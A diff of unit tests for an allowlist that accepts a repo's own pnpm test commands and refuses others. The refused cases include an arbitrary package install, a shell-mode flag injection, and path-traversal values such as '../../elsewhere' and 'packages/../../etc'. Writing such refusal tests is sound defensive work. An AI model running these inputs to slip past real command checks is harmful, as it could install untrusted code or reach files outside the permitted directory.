+    'pnpm -C packages/cli test',
+    'pnpm add evil-package',
+    'pnpm install',
+    'pnpm i',
+    'pnpm remove aurora-back',
+    'pnpm update',
+    'pnpm dcp',
+    'pnpm create vite',
+    'pnpm build',
+    'pnpm --filter --shell-mode test',
+    'pnpm --filter aurora-back exec prettier --write .',
+  ]) {
+    it(`refuses "${declared}": pnpm is the binary, not the permission`, () => {
+      assert.equal(
+        resolveTestCommand(declared).kind,
+        'refused',
+        `${declared} must not be runnable`,
+      );
+    });
+  }
+
+  for (const declared of [
+    'pnpm test',
+    'pnpm run test',
+    'pnpm test:backlog',
+    'pnpm run test:backlog --verbose',
+    'pnpm cli:test',
+    'pnpm --filter aurora-back test',
+    'pnpm --filter aurora-back run test session.spec.ts',
+    'pnpm --filter @aurora/core-front test:unit',
+  ]) {
+    it(`accepts "${declared}": it is this repo's own test convention`, () => {
+      assert.equal(resolveTestCommand(declared).kind, 'ok', `${declared} must stay runnable`);
+    });
+  }
+
+  it('splits a quoted argument as one token, not on the inner spaces', () => {
+    assert.deepEqual(resolveTestCommand('pnpm test -- "a b.spec.ts"'), {
+      kind: 'ok',
+      command: 'pnpm',
+      args: ['test', '--', 'a b.spec.ts'],
+    });
+  });
+
+  // J11: `packages/cli` is deliberately NOT a workspace member, so `--filter` matches nothing
+  // there and `pnpm --dir packages/cli test` is the ONLY way to test it. The path is bounded to a
+  // RELATIVE one inside this repo: an absolute path or a `..` segment reaches out of the slot,
+  // which is exactly what the allowlist exists to prevent.
+  for (const declared of [
+    'pnpm --dir packages/cli test',
+    'pnpm --dir packages/cli run test',
+    'pnpm --dir ./packages/cli test:unit some.spec.ts',
+  ]) {
+    it(`accepts "${declared}": a relative --dir is how a non-workspace package is tested`, () => {
+      assert.equal(resolveTestCommand(declared).kind, 'ok', `${declared} must be runnable`);
+    });
+  }
+
+  for (const declared of [
+    'pnpm --dir /somewhere test',
+    'pnpm --dir ../../elsewhere test',
+    'pnpm --dir packages/../../etc test',
+    'pnpm --dir --shell-mode test',
+    'pnpm --dir test',
+  ]) {
+    it(`refuses "${declared}": --dir may only name a relative path inside the slot`, () => {
+      assert.equal(
+        resolveTestCommand(declared).kind,
+        'refused',
+        `${declared} must not be runnable`,
+      );
+    });
+  }
+
+  it('keeps --dir in the argv it hands the spawn, so the command actually runs in that package', () => {
+    assert.deepEqual(resolveTestCommand('pnpm --dir packages/cli test'), {
+      kind: 'ok',
+      command: 'pnpm',
+      args: ['--dir', 'packages/cli', 'test'],
+    });
+  });
+});